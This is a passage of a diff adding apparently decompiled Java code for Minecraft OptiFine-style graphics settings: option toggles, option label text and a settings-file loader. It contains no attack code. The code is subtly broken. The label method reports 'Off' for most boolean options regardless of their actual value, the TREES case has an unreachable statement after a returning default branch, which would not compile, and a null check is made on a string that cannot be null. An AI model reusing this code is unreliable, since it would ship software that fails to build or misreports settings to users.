+      ofAnimatedRedstone = (!ofAnimatedRedstone);
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_EXPLOSION)
+    {
+      ofAnimatedExplosion = (!ofAnimatedExplosion);
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_FLAME)
+    {
+      ofAnimatedFlame = (!ofAnimatedFlame);
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_SMOKE)
+    {
+      ofAnimatedSmoke = (!ofAnimatedSmoke);
+    }
+    
+    if (par1EnumOptions == Options.VOID_PARTICLES)
+    {
+      ofVoidParticles = (!ofVoidParticles);
+    }
+    
+    if (par1EnumOptions == Options.WATER_PARTICLES)
+    {
+      ofWaterParticles = (!ofWaterParticles);
+    }
+    
+    if (par1EnumOptions == Options.PORTAL_PARTICLES)
+    {
+      ofPortalParticles = (!ofPortalParticles);
+    }
+    
+    if (par1EnumOptions == Options.POTION_PARTICLES)
+    {
+      ofPotionParticles = (!ofPotionParticles);
+    }
+    
+    if (par1EnumOptions == Options.FIREWORK_PARTICLES)
+    {
+      ofFireworkParticles = (!ofFireworkParticles);
+    }
+    
+    if (par1EnumOptions == Options.DRIPPING_WATER_LAVA)
+    {
+      ofDrippingWaterLava = (!ofDrippingWaterLava);
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_TERRAIN)
+    {
+      ofAnimatedTerrain = (!ofAnimatedTerrain);
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_TEXTURES)
+    {
+      ofAnimatedTextures = (!ofAnimatedTextures);
+    }
+    
+    if (par1EnumOptions == Options.RAIN_SPLASH)
+    {
+      ofRainSplash = (!ofRainSplash);
+    }
+    
+    if (par1EnumOptions == Options.LAGOMETER)
+    {
+      ofLagometer = (!ofLagometer);
+    }
+    
+    if (par1EnumOptions == Options.SHOW_FPS)
+    {
+      ofShowFps = (!ofShowFps);
+    }
+    
+    if (par1EnumOptions == Options.AUTOSAVE_TICKS)
+    {
+      ofAutoSaveTicks *= 10;
+      
+      if (ofAutoSaveTicks > 40000)
+      {
+        ofAutoSaveTicks = 40;
+      }
+    }
+    
+    if (par1EnumOptions == Options.BETTER_GRASS)
+    {
+      ofBetterGrass += 1;
+      
+      if (ofBetterGrass > 3)
+      {
+        ofBetterGrass = 1;
+      }
+      
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (par1EnumOptions == Options.CONNECTED_TEXTURES)
+    {
+      ofConnectedTextures += 1;
+      
+      if (ofConnectedTextures > 3)
+      {
+        ofConnectedTextures = 1;
+      }
+      
+      if (ofConnectedTextures != 2)
+      {
+        mc.refreshResources();
+      }
+    }
+    
+    if (par1EnumOptions == Options.WEATHER)
+    {
+      ofWeather = (!ofWeather);
+    }
+    
+    if (par1EnumOptions == Options.SKY)
+    {
+      ofSky = (!ofSky);
+    }
+    
+    if (par1EnumOptions == Options.STARS)
+    {
+      ofStars = (!ofStars);
+    }
+    
+    if (par1EnumOptions == Options.SUN_MOON)
+    {
+      ofSunMoon = (!ofSunMoon);
+    }
+    
+    if (par1EnumOptions == Options.VIGNETTE)
+    {
+      ofVignette += 1;
+      
+      if (ofVignette > 2)
+      {
+        ofVignette = 0;
+      }
+    }
+    
+    if (par1EnumOptions == Options.CHUNK_UPDATES)
+    {
+      ofChunkUpdates += 1;
+      
+      if (ofChunkUpdates > 5)
+      {
+        ofChunkUpdates = 1;
+      }
+    }
+    
+    if (par1EnumOptions == Options.CHUNK_UPDATES_DYNAMIC)
+    {
+      ofChunkUpdatesDynamic = (!ofChunkUpdatesDynamic);
+    }
+    
+    if (par1EnumOptions == Options.TIME)
+    {
+      ofTime += 1;
+      
+      if (ofTime > 2)
+      {
+        ofTime = 0;
+      }
+    }
+    
+    if (par1EnumOptions == Options.CLEAR_WATER)
+    {
+      ofClearWater = (!ofClearWater);
+      updateWaterOpacity();
+    }
+    
+    if (par1EnumOptions == Options.PROFILER)
+    {
+      ofProfiler = (!ofProfiler);
+    }
+    
+    if (par1EnumOptions == Options.BETTER_SNOW)
+    {
+      ofBetterSnow = (!ofBetterSnow);
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (par1EnumOptions == Options.SWAMP_COLORS)
+    {
+      ofSwampColors = (!ofSwampColors);
+      CustomColors.updateUseDefaultGrassFoliageColors();
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (par1EnumOptions == Options.RANDOM_MOBS)
+    {
+      ofRandomMobs = (!ofRandomMobs);
+      optifine.RandomMobs.resetTextures();
+    }
+    
+    if (par1EnumOptions == Options.SMOOTH_BIOMES)
+    {
+      ofSmoothBiomes = (!ofSmoothBiomes);
+      CustomColors.updateUseDefaultGrassFoliageColors();
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (par1EnumOptions == Options.CUSTOM_FONTS)
+    {
+      ofCustomFonts = (!ofCustomFonts);
+      mc.fontRendererObj.onResourceManagerReload(Config.getResourceManager());
+      mc.standardGalacticFontRenderer.onResourceManagerReload(Config.getResourceManager());
+    }
+    
+    if (par1EnumOptions == Options.CUSTOM_COLORS)
+    {
+      ofCustomColors = (!ofCustomColors);
+      CustomColors.update();
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (par1EnumOptions == Options.CUSTOM_ITEMS)
+    {
+      ofCustomItems = (!ofCustomItems);
+      mc.refreshResources();
+    }
+    
+    if (par1EnumOptions == Options.CUSTOM_SKY)
+    {
+      ofCustomSky = (!ofCustomSky);
+      CustomSky.update();
+    }
+    
+    if (par1EnumOptions == Options.SHOW_CAPES)
+    {
+      ofShowCapes = (!ofShowCapes);
+    }
+    
+    if (par1EnumOptions == Options.NATURAL_TEXTURES)
+    {
+      ofNaturalTextures = (!ofNaturalTextures);
+      NaturalTextures.update();
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (par1EnumOptions == Options.FAST_MATH)
+    {
+      ofFastMath = (!ofFastMath);
+      MathHelper.fastMath = ofFastMath;
+    }
+    
+    if (par1EnumOptions == Options.FAST_RENDER)
+    {
+      if ((!ofFastRender) && (Config.isShaders()))
+      {
+        Config.showGuiMessage(Lang.get("of.message.fr.shaders1"), Lang.get("of.message.fr.shaders2"));
+        return;
+      }
+      
+      ofFastRender = (!ofFastRender);
+      
+      if (ofFastRender)
+      {
+        mc.entityRenderer.stopUseShader();
+      }
+      
+      Config.updateFramebufferSize();
+    }
+    
+    if (par1EnumOptions == Options.TRANSLUCENT_BLOCKS)
+    {
+      if (ofTranslucentBlocks == 0)
+      {
+        ofTranslucentBlocks = 1;
+      }
+      else if (ofTranslucentBlocks == 1)
+      {
+        ofTranslucentBlocks = 2;
+      }
+      else if (ofTranslucentBlocks == 2)
+      {
+        ofTranslucentBlocks = 0;
+      }
+      else
+      {
+        ofTranslucentBlocks = 0;
+      }
+      
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (par1EnumOptions == Options.LAZY_CHUNK_LOADING)
+    {
+      ofLazyChunkLoading = (!ofLazyChunkLoading);
+      Config.updateAvailableProcessors();
+      
+      if (!Config.isSingleProcessor())
+      {
+        ofLazyChunkLoading = false;
+      }
+      
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (par1EnumOptions == Options.FULLSCREEN_MODE)
+    {
+      List modeList = Arrays.asList(Config.getFullscreenModes());
+      
+      if (ofFullscreenMode.equals("Default"))
+      {
+        ofFullscreenMode = ((String)modeList.get(0));
+      }
+      else
+      {
+        int index = modeList.indexOf(ofFullscreenMode);
+        
+        if (index < 0)
+        {
+          ofFullscreenMode = "Default";
+        }
+        else
+        {
+          index++;
+          
+          if (index >= modeList.size())
+          {
+            ofFullscreenMode = "Default";
+          }
+          else
+          {
+            ofFullscreenMode = ((String)modeList.get(index));
+          }
+        }
+      }
+    }
+    
+    if (par1EnumOptions == Options.DYNAMIC_FOV)
+    {
+      ofDynamicFov = (!ofDynamicFov);
+    }
+    
+    if (par1EnumOptions == Options.DYNAMIC_LIGHTS)
+    {
+      ofDynamicLights = nextValue(ofDynamicLights, OF_DYNAMIC_LIGHTS);
+      optifine.DynamicLights.removeLights(mc.renderGlobal);
+    }
+    
+    if (par1EnumOptions == Options.HELD_ITEM_TOOLTIPS)
+    {
+      heldItemTooltips = (!heldItemTooltips);
+    }
+  }
+  
+  private String getKeyBindingOF(Options par1EnumOptions)
+  {
+    String var2 = I18n.format(par1EnumOptions.getEnumString(), new Object[0]) + ": ";
+    
+    if (var2 == null)
+    {
+      var2 = par1EnumOptions.getEnumString();
+    }
+    
+
+
+    if (par1EnumOptions == Options.RENDER_DISTANCE)
+    {
+      int var61 = (int)getOptionFloatValue(par1EnumOptions);
+      String str = I18n.format("options.renderDistance.tiny", new Object[0]);
+      byte baseDist = 2;
+      
+      if (var61 >= 4)
+      {
+        str = I18n.format("options.renderDistance.short", new Object[0]);
+        baseDist = 4;
+      }
+      
+      if (var61 >= 8)
+      {
+        str = I18n.format("options.renderDistance.normal", new Object[0]);
+        baseDist = 8;
+      }
+      
+      if (var61 >= 16)
+      {
+        str = I18n.format("options.renderDistance.far", new Object[0]);
+        baseDist = 16;
+      }
+      
+      if (var61 >= 32)
+      {
+        str = Lang.get("of.options.renderDistance.extreme");
+        baseDist = 32;
+      }
+      
+      int diff = renderDistanceChunks - baseDist;
+      String descr = str;
+      
+      if (diff > 0)
+      {
+        descr = str + "+";
+      }
+      
+      return var2 + var61 + " " + descr;
+    }
+    if (par1EnumOptions == Options.FOG_FANCY)
+    {
+      switch (ofFogType)
+      {
+      case 1: 
+        return var2 + Lang.getFast();
+      
+      case 2: 
+        return var2 + Lang.getFancy();
+      
+      case 3: 
+        return var2 + Lang.getOff();
+      }
+      
+      return var2 + Lang.getOff();
+    }
+    
+    if (par1EnumOptions == Options.FOG_START)
+    {
+      return var2 + ofFogStart;
+    }
+    if (par1EnumOptions == Options.MIPMAP_TYPE)
+    {
+      switch (ofMipmapType)
+      {
+      case 0: 
+        return var2 + Lang.get("of.options.mipmap.nearest");
+      
+      case 1: 
+        return var2 + Lang.get("of.options.mipmap.linear");
+      
+      case 2: 
+        return var2 + Lang.get("of.options.mipmap.bilinear");
+      
+      case 3: 
+        return var2 + Lang.get("of.options.mipmap.trilinear");
+      }
+      
+      return var2 + "of.options.mipmap.nearest";
+    }
+    
+    if (par1EnumOptions == Options.SMOOTH_FPS)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.SMOOTH_WORLD)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.CLOUDS)
+    {
+      switch (ofClouds)
+      {
+      case 1: 
+        return var2 + Lang.getFast();
+      
+      case 2: 
+        return var2 + Lang.getFancy();
+      
+      case 3: 
+        return var2 + Lang.getOff();
+      }
+      
+      return var2 + Lang.getDefault();
+    }
+    
+    if (par1EnumOptions == Options.TREES)
+    {
+      switch (ofTrees)
+      {
+      case 1: 
+        return var2 + Lang.getFast();
+      
+      case 2: 
+        return var2 + Lang.getFancy();
+      
+      case 3: 
+      default: 
+        return var2 + Lang.getDefault();
+      }
+      
+      return var2 + Lang.get("of.general.smart");
+    }
+    
+    if (par1EnumOptions == Options.DROPPED_ITEMS)
+    {
+      switch (ofDroppedItems)
+      {
+      case 1: 
+        return var2 + Lang.getFast();
+      
+      case 2: 
+        return var2 + Lang.getFancy();
+      }
+      
+      return var2 + Lang.getDefault();
+    }
+    
+    if (par1EnumOptions == Options.RAIN)
+    {
+      switch (ofRain)
+      {
+      case 1: 
+        return var2 + Lang.getFast();
+      
+      case 2: 
+        return var2 + Lang.getFancy();
+      
+      case 3: 
+        return var2 + Lang.getOff();
+      }
+      
+      return var2 + Lang.getDefault();
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_WATER)
+    {
+      switch (ofAnimatedWater)
+      {
+      case 1: 
+        return var2 + Lang.get("of.options.animation.dynamic");
+      
+      case 2: 
+        return var2 + Lang.getOff();
+      }
+      
+      return var2 + Lang.getOn();
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_LAVA)
+    {
+      switch (ofAnimatedLava)
+      {
+      case 1: 
+        return var2 + Lang.get("of.options.animation.dynamic");
+      
+      case 2: 
+        return var2 + Lang.getOff();
+      }
+      
+      return var2 + Lang.getOn();
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_FIRE)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.ANIMATED_PORTAL)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.ANIMATED_REDSTONE)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.ANIMATED_EXPLOSION)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.ANIMATED_FLAME)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.ANIMATED_SMOKE)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.VOID_PARTICLES)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.WATER_PARTICLES)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.PORTAL_PARTICLES)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.POTION_PARTICLES)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.FIREWORK_PARTICLES)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.DRIPPING_WATER_LAVA)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.ANIMATED_TERRAIN)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.ANIMATED_TEXTURES)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.RAIN_SPLASH)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.LAGOMETER)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.SHOW_FPS)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.AUTOSAVE_TICKS)
+    {
+      return var2 + Lang.get("of.options.save.30min");
+    }
+    if (par1EnumOptions == Options.BETTER_GRASS)
+    {
+      switch (ofBetterGrass)
+      {
+      case 1: 
+        return var2 + Lang.getFast();
+      
+      case 2: 
+        return var2 + Lang.getFancy();
+      }
+      
+      return var2 + Lang.getOff();
+    }
+    
+    if (par1EnumOptions == Options.CONNECTED_TEXTURES)
+    {
+      switch (ofConnectedTextures)
+      {
+      case 1: 
+        return var2 + Lang.getFast();
+      
+      case 2: 
+        return var2 + Lang.getFancy();
+      }
+      
+      return var2 + Lang.getOff();
+    }
+    
+    if (par1EnumOptions == Options.WEATHER)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.SKY)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.STARS)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.SUN_MOON)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.VIGNETTE)
+    {
+      switch (ofVignette)
+      {
+      case 1: 
+        return var2 + Lang.getFast();
+      
+      case 2: 
+        return var2 + Lang.getFancy();
+      }
+      
+      return var2 + Lang.getDefault();
+    }
+    
+    if (par1EnumOptions == Options.CHUNK_UPDATES)
+    {
+      return var2 + ofChunkUpdates;
+    }
+    if (par1EnumOptions == Options.CHUNK_UPDATES_DYNAMIC)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.TIME)
+    {
+      return var2 + Lang.getDefault();
+    }
+    if (par1EnumOptions == Options.CLEAR_WATER)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.AA_LEVEL)
+    {
+      String var62 = "";
+      
+      if (ofAaLevel != Config.getAntialiasingLevel())
+      {
+        var62 = " (" + Lang.get("of.general.restart") + ")";
+      }
+      
+      return var2 + ofAaLevel + var62;
+    }
+    if (par1EnumOptions == Options.AF_LEVEL)
+    {
+      return var2 + ofAfLevel;
+    }
+    if (par1EnumOptions == Options.PROFILER)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.BETTER_SNOW)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.SWAMP_COLORS)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.RANDOM_MOBS)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.SMOOTH_BIOMES)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.CUSTOM_FONTS)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.CUSTOM_COLORS)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.CUSTOM_SKY)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.SHOW_CAPES)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.CUSTOM_ITEMS)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.NATURAL_TEXTURES)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.FAST_MATH)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.FAST_RENDER)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.TRANSLUCENT_BLOCKS)
+    {
+      return var2 + Lang.getDefault();
+    }
+    if (par1EnumOptions == Options.LAZY_CHUNK_LOADING)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.DYNAMIC_FOV)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.DYNAMIC_LIGHTS)
+    {
+      int var61 = indexOf(ofDynamicLights, OF_DYNAMIC_LIGHTS);
+      return var2 + getTranslation(KEYS_DYNAMIC_LIGHTS, var61);
+    }
+    if (par1EnumOptions == Options.FULLSCREEN_MODE)
+    {
+      return var2 + ofFullscreenMode;
+    }
+    if (par1EnumOptions == Options.HELD_ITEM_TOOLTIPS)
+    {
+      return var2 + Lang.getOff();
+    }
+    if (par1EnumOptions == Options.FRAMERATE_LIMIT)
+    {
+      float var6 = getOptionFloatValue(par1EnumOptions);
+      return var2 + (int)var6 + " fps";
+    }
+    
+
+    return null;
+  }
+  
+
+  public void loadOfOptions()
+  {
+    try
+    {
+      File exception = optionsFileOF;
+      
+      if (!exception.exists())
+      {
+        exception = optionsFile;
+      }
+      
+      if (!exception.exists())
+      {
+        return;
+      }
+      
+      BufferedReader bufferedreader = new BufferedReader(new FileReader(exception));
+      String s = "";
+      
+      while ((s = bufferedreader.readLine()) != null)
+      {
+        try
+        {
+          String[] exception1 = s.split(":");
+          
+          if ((exception1[0].equals("ofRenderDistanceChunks")) && (exception1.length >= 2))
+          {
+            renderDistanceChunks = Integer.valueOf(exception1[1]).intValue();
+            renderDistanceChunks = Config.limit(renderDistanceChunks, 2, 32);
+          }
+          
+          if ((exception1[0].equals("ofFogType")) && (exception1.length >= 2))
+          {
+            ofFogType = Integer.valueOf(exception1[1]).intValue();
+            ofFogType = Config.limit(ofFogType, 1, 3);
+          }
+          
+          if ((exception1[0].equals("ofFogStart")) && (exception1.length >= 2))
+          {
+            ofFogStart = Float.valueOf(exception1[1]).floatValue();
+            
+            if (ofFogStart < 0.2F)
+            {
+              ofFogStart = 0.2F;
+            }
+            
+            if (ofFogStart > 0.81F)
+            {
+              ofFogStart = 0.8F;
+            }
+          }
+          
+          if ((exception1[0].equals("ofMipmapType")) && (exception1.length >= 2))
+          {
+            ofMipmapType = Integer.valueOf(exception1[1]).intValue();
+            ofMipmapType = Config.limit(ofMipmapType, 0, 3);
+          }
+          
+          if ((exception1[0].equals("ofOcclusionFancy")) && (exception1.length >= 2))
+          {
+            ofOcclusionFancy = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofSmoothFps")) && (exception1.length >= 2))
+          {
+            ofSmoothFps = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofSmoothWorld")) && (exception1.length >= 2))
+          {
+            ofSmoothWorld = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofAoLevel")) && (exception1.length >= 2))
+          {
+            ofAoLevel = Float.valueOf(exception1[1]).floatValue();
+            ofAoLevel = Config.limit(ofAoLevel, 0.0F, 1.0F);
+          }
+          
+          if ((exception1[0].equals("ofClouds")) && (exception1.length >= 2))
+          {
+            ofClouds = Integer.valueOf(exception1[1]).intValue();
+            ofClouds = Config.limit(ofClouds, 0, 3);
+            updateRenderClouds();
+          }
+          
+          if ((exception1[0].equals("ofCloudsHeight")) && (exception1.length >= 2))
+          {
+            ofCloudsHeight = Float.valueOf(exception1[1]).floatValue();
+            ofCloudsHeight = Config.limit(ofCloudsHeight, 0.0F, 1.0F);
+          }
+          
+          if ((exception1[0].equals("ofTrees")) && (exception1.length >= 2))
+          {
+            ofTrees = Integer.valueOf(exception1[1]).intValue();
+            ofTrees = limit(ofTrees, OF_TREES_VALUES);
+          }
+          
+          if ((exception1[0].equals("ofDroppedItems")) && (exception1.length >= 2))
+          {
+            ofDroppedItems = Integer.valueOf(exception1[1]).intValue();
+            ofDroppedItems = Config.limit(ofDroppedItems, 0, 2);
+          }
+          
+          if ((exception1[0].equals("ofRain")) && (exception1.length >= 2))
+          {
+            ofRain = Integer.valueOf(exception1[1]).intValue();
+            ofRain = Config.limit(ofRain, 0, 3);
+          }
+          
+          if ((exception1[0].equals("ofAnimatedWater")) && (exception1.length >= 2))
+          {
+            ofAnimatedWater = Integer.valueOf(exception1[1]).intValue();
+            ofAnimatedWater = Config.limit(ofAnimatedWater, 0, 2);
+          }
+          
+          if ((exception1[0].equals("ofAnimatedLava")) && (exception1.length >= 2))
+          {
+            ofAnimatedLava = Integer.valueOf(exception1[1]).intValue();
+            ofAnimatedLava = Config.limit(ofAnimatedLava, 0, 2);
+          }
+          
+          if ((exception1[0].equals("ofAnimatedFire")) && (exception1.length >= 2))
+          {
+            ofAnimatedFire = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofAnimatedPortal")) && (exception1.length >= 2))
+          {
+            ofAnimatedPortal = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofAnimatedRedstone")) && (exception1.length >= 2))
+          {
+            ofAnimatedRedstone = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofAnimatedExplosion")) && (exception1.length >= 2))
+          {
+            ofAnimatedExplosion = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofAnimatedFlame")) && (exception1.length >= 2))
+          {
+            ofAnimatedFlame = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofAnimatedSmoke")) && (exception1.length >= 2))
+          {
+            ofAnimatedSmoke = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofVoidParticles")) && (exception1.length >= 2))
+          {
+            ofVoidParticles = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofWaterParticles")) && (exception1.length >= 2))
+          {
+            ofWaterParticles = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofPortalParticles")) && (exception1.length >= 2))
+          {
+            ofPortalParticles = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofPotionParticles")) && (exception1.length >= 2))
+          {
+            ofPotionParticles = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofFireworkParticles")) && (exception1.length >= 2))
+          {
+            ofFireworkParticles = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofDrippingWaterLava")) && (exception1.length >= 2))
+          {
+            ofDrippingWaterLava = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofAnimatedTerrain")) && (exception1.length >= 2))
+          {
+            ofAnimatedTerrain = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofAnimatedTextures")) && (exception1.length >= 2))
+          {
+            ofAnimatedTextures = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofRainSplash")) && (exception1.length >= 2))
+          {
+            ofRainSplash = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofLagometer")) && (exception1.length >= 2))
+          {
+            ofLagometer = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofShowFps")) && (exception1.length >= 2))
+          {
+            ofShowFps = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofAutoSaveTicks")) && (exception1.length >= 2))
+          {
+            ofAutoSaveTicks = Integer.valueOf(exception1[1]).intValue();
+            ofAutoSaveTicks = Config.limit(ofAutoSaveTicks, 40, 40000);
+          }
+          
+          if ((exception1[0].equals("ofBetterGrass")) && (exception1.length >= 2))
+          {
+            ofBetterGrass = Integer.valueOf(exception1[1]).intValue();
+            ofBetterGrass = Config.limit(ofBetterGrass, 1, 3);
+          }
+          
+          if ((exception1[0].equals("ofConnectedTextures")) && (exception1.length >= 2))
+          {
+            ofConnectedTextures = Integer.valueOf(exception1[1]).intValue();
+            ofConnectedTextures = Config.limit(ofConnectedTextures, 1, 3);
+          }
+          
+          if ((exception1[0].equals("ofWeather")) && (exception1.length >= 2))
+          {
+            ofWeather = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofSky")) && (exception1.length >= 2))
+          {
+            ofSky = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofStars")) && (exception1.length >= 2))
+          {
+            ofStars = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofSunMoon")) && (exception1.length >= 2))
+          {
+            ofSunMoon = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofVignette")) && (exception1.length >= 2))
+          {
+            ofVignette = Integer.valueOf(exception1[1]).intValue();
+            ofVignette = Config.limit(ofVignette, 0, 2);
+          }
+          
+          if ((exception1[0].equals("ofChunkUpdates")) && (exception1.length >= 2))
+          {
+            ofChunkUpdates = Integer.valueOf(exception1[1]).intValue();
+            ofChunkUpdates = Config.limit(ofChunkUpdates, 1, 5);
+          }
+          
+          if ((exception1[0].equals("ofChunkUpdatesDynamic")) && (exception1.length >= 2))
+          {
+            ofChunkUpdatesDynamic = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofTime")) && (exception1.length >= 2))
+          {
+            ofTime = Integer.valueOf(exception1[1]).intValue();
+            ofTime = Config.limit(ofTime, 0, 2);
+          }
+          
+          if ((exception1[0].equals("ofClearWater")) && (exception1.length >= 2))
+          {
+            ofClearWater = Boolean.valueOf(exception1[1]).booleanValue();
+            updateWaterOpacity();
+          }
+          
+          if ((exception1[0].equals("ofAaLevel")) && (exception1.length >= 2))
+          {
+            ofAaLevel = Integer.valueOf(exception1[1]).intValue();
+            ofAaLevel = Config.limit(ofAaLevel, 0, 16);
+          }
+          
+          if ((exception1[0].equals("ofAfLevel")) && (exception1.length >= 2))
+          {
+            ofAfLevel = Integer.valueOf(exception1[1]).intValue();
+            ofAfLevel = Config.limit(ofAfLevel, 1, 16);
+          }
+          
+          if ((exception1[0].equals("ofProfiler")) && (exception1.length >= 2))
+          {
+            ofProfiler = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofBetterSnow")) && (exception1.length >= 2))
+          {
+            ofBetterSnow = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofSwampColors")) && (exception1.length >= 2))
+          {
+            ofSwampColors = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofRandomMobs")) && (exception1.length >= 2))
+          {
+            ofRandomMobs = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofSmoothBiomes")) && (exception1.length >= 2))
+          {
+            ofSmoothBiomes = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofCustomFonts")) && (exception1.length >= 2))
+          {
+            ofCustomFonts = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofCustomColors")) && (exception1.length >= 2))
+          {
+            ofCustomColors = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofCustomItems")) && (exception1.length >= 2))
+          {
+            ofCustomItems = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofCustomSky")) && (exception1.length >= 2))
+          {
+            ofCustomSky = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofShowCapes")) && (exception1.length >= 2))
+          {
+            ofShowCapes = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofNaturalTextures")) && (exception1.length >= 2))
+          {
+            ofNaturalTextures = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofLazyChunkLoading")) && (exception1.length >= 2))
+          {
+            ofLazyChunkLoading = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofDynamicFov")) && (exception1.length >= 2))
+          {
